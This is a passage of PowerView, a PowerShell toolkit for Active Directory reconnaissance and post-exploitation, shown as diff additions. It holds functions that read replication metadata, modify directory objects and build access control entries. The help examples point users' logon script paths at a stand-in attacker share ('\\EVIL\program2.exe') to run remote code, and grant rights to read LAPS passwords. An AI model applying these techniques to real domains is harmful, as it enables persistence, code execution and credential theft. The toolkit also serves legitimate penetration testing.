+PowerView.ADObjectAttributeHistory + +Custom PSObject with translated replication metadata fields. + +.LINK + +https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.ADObjectAttributeHistory')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'msds-replattributemetadata','distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['Properties']) { + $PropertyFilter = $PSBoundParameters['Properties'] -Join '|' + } + else { + $PropertyFilter = '' + } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainObject @SearcherArguments | ForEach-Object { + $ObjectDN = $_.Properties['distinguishedname'][0] + ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) { + $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue + if ($TempObject) { + if ($TempObject.pszAttributeName -Match $PropertyFilter) { + $Output = New-Object PSObject + $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN + $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName + $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange + $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion + $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN + $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectAttributeHistory') + $Output + } + } + else { + Write-Verbose "[Get-DomainObjectAttributeHistory] Error retrieving 'msds-replattributemetadata' for '$ObjectDN'" + } + } + } + } +} + + +function Get-DomainObjectLinkedAttributeHistory { +<# +.SYNOPSIS + +Returns the Active Directory links attribute value replication metadata for the +specified object, i.e. a parsed version of the msds-replvaluemetadata attribute. +By default, replication data for every domain object is returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Wraps Get-DomainObject with a specification to retrieve the property 'msds-replvaluemetadata'. +This is the domain linked attribute value replication metadata associated with the object. The +results are parsed from their XML string form and returned as a custom object. + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Only return replication metadata on the specified property names. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainObjectLinkedAttributeHistory | Group-Object ObjectDN | ft -a + +Count Name +----- ---- + 4 CN=Administrators,CN=Builtin,DC=testlab,DC=local + 4 CN=Users,CN=Builtin,DC=testlab,DC=local + 2 CN=Guests,CN=Builtin,DC=testlab,DC=local + 1 CN=IIS_IUSRS,CN=Builtin,DC=testlab,DC=local + 1 CN=Schema Admins,CN=Users,DC=testlab,DC=local + 1 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local + 4 CN=Domain Admins,CN=Users,DC=testlab,DC=local + 1 CN=Group Policy Creator Owners,CN=Users,DC=testlab,DC=local + 1 CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=testlab,DC=local + 1 CN=Windows Authorization Access Group,CN=Builtin,DC=testlab,DC=local + 8 CN=Denied RODC Password Replication Group,CN=Users,DC=testlab,DC=local + 2 CN=PRIMARY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,... + 1 CN=Domain System Volume,CN=DFSR-LocalSettings,CN=PRIMARY,OU=Domain Con... + 1 CN=ServerAdmins,CN=Users,DC=testlab,DC=local + 3 CN=DomainLocalGroup,CN=Users,DC=testlab,DC=local + + +.EXAMPLE + +'S-1-5-21-883232822-274137685-4173207997-519','af94f49e-61a5-4f7d-a17c-d80fb16a5220' | Get-DomainObjectLinkedAttributeHistory + +ObjectDN : CN=Enterprise Admins,CN=Users,DC=testlab,DC=local +ObjectGuid : 94e782c1-16a1-400b-a7d0-1126038c6387 +AttributeName : member +AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local +TimeDeleted : 2017-03-06T00:48:29Z +TimeCreated : 2017-03-06T00:48:29Z +LastOriginatingChange : 2017-03-06T00:48:29Z +Version : 1 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220 +AttributeName : member +AttributeValue : CN=dfm,CN=Users,DC=testlab,DC=local +TimeDeleted : 2017-06-13T22:20:02Z +TimeCreated : 2017-06-13T22:20:02Z +LastOriginatingChange : 2017-06-13T22:20:22Z +Version : 2 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +ObjectDN : CN=Domain Admins,CN=Users,DC=testlab,DC=local +ObjectGuid : af94f49e-61a5-4f7d-a17c-d80fb16a5220 +AttributeName : member +AttributeValue : CN=Administrator,CN=Users,DC=testlab,DC=local +TimeDeleted : 2017-03-06T00:48:29Z +TimeCreated : 2017-03-06T00:48:29Z +LastOriginatingChange : 2017-03-06T00:48:29Z +Version : 1 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.EXAMPLE + +Get-DomainObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local + +ObjectDN : CN=ServerAdmins,CN=Users,DC=testlab,DC=local +ObjectGuid : 603b46ad-555c-49b3-8745-c0718febefc2 +AttributeName : member +AttributeValue : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local +TimeDeleted : 2017-04-10T22:17:19Z +TimeCreated : 2017-04-10T22:17:19Z +LastOriginatingChange : 2017-04-10T22:17:19Z +Version : 1 +LastOriginatingDsaDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First + -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca + l + +.OUTPUTS + +PowerView.ADObjectLinkedAttributeHistory + +Custom PSObject with translated replication metadata fields. + +.LINK + +https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [OutputType('PowerView.ADObjectLinkedAttributeHistory')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{ + 'Properties' = 'msds-replvaluemetadata','distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['Properties']) { + $PropertyFilter = $PSBoundParameters['Properties'] -Join '|' + } + else { + $PropertyFilter = '' + } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + Get-DomainObject @SearcherArguments | ForEach-Object { + $ObjectDN = $_.Properties['distinguishedname'][0] + ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) { + $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue + if ($TempObject) { + if ($TempObject.pszAttributeName -Match $PropertyFilter) { + $Output = New-Object PSObject + $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN + $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName + $Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn + $Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated + $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted + $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange + $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion + $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN + $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory') + $Output + } + } + else { + Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'" + } + } + } + } +} + + +function Set-DomainObject { +<# +.SYNOPSIS + +Modifies a gven property for a specified active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +Splats user/object targeting parameters to Get-DomainObject, returning the raw +searchresult object. Retrieves the raw directoryentry for the object, and sets +any values from -Set @{}, XORs any values from -XOR @{}, and clears any values +from -Clear @(). + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Set + +Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values. + +.PARAMETER XOR + +Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values. + +.PARAMETER Clear + +Specifies an array of object properties that will be cleared in the directory. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: +(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y +VERBOSE: Setting countrycode to 1234 for object harmj0y +VERBOSE: Get-DomainSearcher search string: +LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser +VERBOSE: Setting countrycode to 1234 for object testuser + +.EXAMPLE + +"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose + +Cleares the 'department' field for both object identities. + +.EXAMPLE + +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose + +Name Value +---- ----- +NORMAL_ACCOUNT 512 + + +Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose + +VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser))) +VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser' + +Get-DomainUser testuser | ConvertFrom-UACValue -Verbose + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser -Identity testuser -Properties scriptpath + +scriptpath +---------- +\\primary\sysvol\blah.ps1 + +$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose +VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain +VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential +VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local +VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection +VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser)))) +VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser' + +Get-DomainUser -Identity testuser -Properties scriptpath + +scriptpath +---------- +\\EVIL\program2.exe +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [Alias('Replace')] + [Hashtable] + $Set, + + [ValidateNotNullOrEmpty()] + [Hashtable] + $XOR, + + [ValidateNotNullOrEmpty()] + [String[]] + $Clear, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{'Raw' = $True} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + } + + PROCESS { + if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity } + + # splat the appropriate arguments to Get-DomainObject + $RawObject = Get-DomainObject @SearcherArguments + + ForEach ($Object in $RawObject) { + + $Entry = $RawObject.GetDirectoryEntry() + + if($PSBoundParameters['Set']) { + try { + $PSBoundParameters['Set'].GetEnumerator() | ForEach-Object { + Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'" + $Entry.put($_.Name, $_.Value) + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } + if($PSBoundParameters['XOR']) { + try { + $PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object { + $PropertyName = $_.Name + $PropertyXorValue = $_.Value + Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'" + $TypeName = $Entry.$PropertyName[0].GetType().name + + # UAC value references- https://support.microsoft.com/en-us/kb/305144 + $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue + $Entry.$PropertyName = $PropertyValue -as $TypeName + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } + if($PSBoundParameters['Clear']) { + try { + $PSBoundParameters['Clear'] | ForEach-Object { + $PropertyName = $_ + Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'" + $Entry.$PropertyName.clear() + } + $Entry.commitchanges() + } + catch { + Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_" + } + } + } + } +} + + +function ConvertFrom-LDAPLogonHours { +<# +.SYNOPSIS + +Converts the LDAP LogonHours array to a processible object. + +Author: Lee Christensen (@tifkin_) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Converts the LDAP LogonHours array to a processible object. Each entry +property in the output object corresponds to a day of the week and hour during +the day (in UTC) indicating whether or not the user can logon at the specified +hour. + +.PARAMETER LogonHoursArray + +21-byte LDAP hours array. + +.EXAMPLE + +$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours +ConvertFrom-LDAPLogonHours $hours + +Gets the logonhours array from the first AD user with logon restrictions. + +.OUTPUTS + +PowerView.LogonHours +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LogonHours')] + [CmdletBinding()] + Param ( + [Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [byte[]] + $LogonHoursArray + ) + + Begin { + if($LogonHoursArray.Count -ne 21) { + throw "LogonHoursArray is the incorrect length" + } + + function ConvertTo-LogonHoursArray { + Param ( + [int[]] + $HoursArr + ) + + $LogonHours = New-Object bool[] 24 + for($i=0; $i -lt 3; $i++) { + $Byte = $HoursArr[$i] + $Offset = $i * 8 + $Str = [Convert]::ToString($Byte,2).PadLeft(8,'0') + + $LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7]) + $LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6]) + $LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5]) + $LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4]) + $LogonHours[$Offset+4] = [bool] [convert]::ToInt32([string]$Str[3]) + $LogonHours[$Offset+5] = [bool] [convert]::ToInt32([string]$Str[2]) + $LogonHours[$Offset+6] = [bool] [convert]::ToInt32([string]$Str[1]) + $LogonHours[$Offset+7] = [bool] [convert]::ToInt32([string]$Str[0]) + } + + $LogonHours + } + } + + Process { + $Output = @{ + Sunday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[0..2] + Monday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[3..5] + Tuesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[6..8] + Wednesday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[9..11] + Thurs = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[12..14] + Friday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[15..17] + Saturday = ConvertTo-LogonHoursArray -HoursArr $LogonHoursArray[18..20] + } + + $Output = New-Object PSObject -Property $Output + $Output.PSObject.TypeNames.Insert(0, 'PowerView.LogonHours') + $Output + } +} + + +function New-ADObjectAccessControlEntry { +<# +.SYNOPSIS + +Creates a new Active Directory object-specific access control entry. + +Author: Lee Christensen (@tifkin_) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Creates a new object-specific access control entry (ACE). The ACE could be +used for auditing access to an object or controlling access to objects. + +.PARAMETER PrincipalIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. Required. Wildcards accepted. + +.PARAMETER PrincipalDomain + +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +.PARAMETER PrincipalSearchBase + +The LDAP source to search through for principals, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Right + +Specifies the rights set on the Active Directory object. + +.PARAMETER AccessControlType + +Specifies the type of ACE (allow or deny) + +.PARAMETER AuditFlag + +For audit ACEs, specifies when to create an audit log (on success or failure) + +.PARAMETER ObjectType + +Specifies the GUID of the object that the ACE applies to. + +.PARAMETER InheritanceType + +Specifies how the ACE applies to the object and/or its children. + +.PARAMETER InheritedObjectType + +Specifies the type of object that can inherit the ACE. + +.EXAMPLE + +$Guids = Get-DomainGUIDMap +$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name +$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name +$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid +$OU = Get-DomainOU -Raw Workstations +$DsEntry = $OU.GetDirectoryEntry() +$dsEntry.PsBase.Options.SecurityMasks = 'Dacl' +$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) +$dsEntry.PsBase.CommitChanges() + +Adds an ACE to all computer objects in the OU "Workstations" permitting the +user "itadmin" to read the confidential ms-Mcs-AdmPwd computer property. + +.OUTPUTS + +System.Security.AccessControl.AuthorizationRule +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('System.Security.AccessControl.AuthorizationRule')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True, Mandatory = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String] + $PrincipalIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $PrincipalDomain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Parameter(Mandatory = $True)] + [ValidateSet('AccessSystemSecurity', 'CreateChild','Delete','DeleteChild','DeleteTree','ExtendedRight','GenericAll','GenericExecute','GenericRead','GenericWrite','ListChildren','ListObject','ReadControl','ReadProperty','Self','Synchronize','WriteDacl','WriteOwner','WriteProperty')] + $Right, + + [Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')] + [ValidateSet('Allow', 'Deny')] + [String[]] + $AccessControlType, + + [Parameter(Mandatory = $True, ParameterSetName='AuditRuleType')] + [ValidateSet('Success', 'Failure')] + [String] + $AuditFlag, + + [Parameter(Mandatory = $False, ParameterSetName='AccessRuleType')] + [Parameter(Mandatory = $False, ParameterSetName='AuditRuleType')] + [Parameter(Mandatory = $False, ParameterSetName='ObjectGuidLookup')] + [Guid] + $ObjectType, + + [ValidateSet('All', 'Children','Descendents','None','SelfAndChildren')] + [String] + $InheritanceType, + + [Guid] + $InheritedObjectType + ) + + Begin { + if ($PrincipalIdentity -notmatch '^S-1-.*') { + $PrincipalSearcherArguments = @{ + 'Identity' = $PrincipalIdentity + 'Properties' = 'distinguishedname,objectsid' + } + if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } + if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = 